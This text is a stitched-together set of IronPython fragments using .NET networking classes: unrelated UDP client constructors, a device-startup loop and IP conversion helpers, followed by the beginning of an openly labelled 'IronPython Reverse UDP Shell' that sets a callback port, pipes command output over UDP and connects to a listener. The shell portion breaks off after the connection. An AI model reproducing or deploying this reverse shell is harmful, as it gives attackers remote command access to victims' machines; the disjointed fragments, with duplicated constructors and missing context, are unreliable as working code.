def __init__(self, ip, port):
self.ClientType = ClientType
self.ID = "UDP Client"
self.ConnectionAddress = ip + ":" + port
# Connect upon creation
self._Endpoint = IPEndPoint(IPAddress.Parse(ip), int(port))
self._Connected = False
self.Connect()
def _start_pcus(self):
print("Starting PCU's")
sleep(0.5 * len(self.PcuCollection))
for pcu in self.PcuCollection:
ip_address = IPAddress.Parse(self._server_address)
ip_endpoint = IPEndPoint(ip_address, self._server_port)
# pcu.PropertyChanged += self._property_changed
pcu.Connect(ip_endpoint)
print("PCU Started, SN: " + str(pcu.DeviceOptions.Serial))
sleep(2)
def __init__(self, port, ipAddress):
self.client = UdpClient(0)
# Only set this if you want to be able to listen
# on the same machine
self.client.MulticastLoopback = True
# No *need* to parse - you can pass in a string
addr = IPAddress.Parse(ipAddress)
# Connecting means that you don't have to specify
# The IP address when we call send.
# For Udp, connecting isn't a requirement though
self.client.Connect(addr, port)
def _address_to_endpoint(address):
host, port = address
ip = gethostbyname(host)
return IPEndPoint(IPAddress.Parse(ip), port)
def inet_ntoa(packed):
bytes = raw.GetBytes(packed)
ip = IPAddress(bytes)
return str(ip)
def inet_aton(string):
ip = IPAddress.Parse(string)
packed = raw.GetString(ip.GetAddressBytes())
return packed
def convertNumToIP(ipNum):
ipBytes = IPAddress.Parse(ipNum.ToString()).GetAddressBytes()
Array.Reverse(ipBytes)
return IPAddress(ipBytes).ToString()
##################################################
## IronPython Reverse UDP Shell
##################################################
## Author: daddycocoaman
##################################################
from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs
from System.IO import IOException
from System.Net import IPEndPoint, IPAddress
from System.Net.Sockets import UdpClient
from System.Text import Encoding
#Set callback IP/Port
IP = ""
PORT = 4433
ep = IPEndPoint(IPAddress.Parse(IP), PORT)
#Set Timeout in milliseconds. 0 is infinite
RCV_TIMEOUT = 0
def CmdOutputDataHandler(process, outline):
if not outline.Data:
bytesOut = Encoding.ASCII.GetBytes(" \r\n")
client.Send(bytesOut, bytesOut.Length)
else:
bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")
client.Send(bytesOut, bytesOut.Length)
#Connect to listener
client = UdpClient(IP, PORT)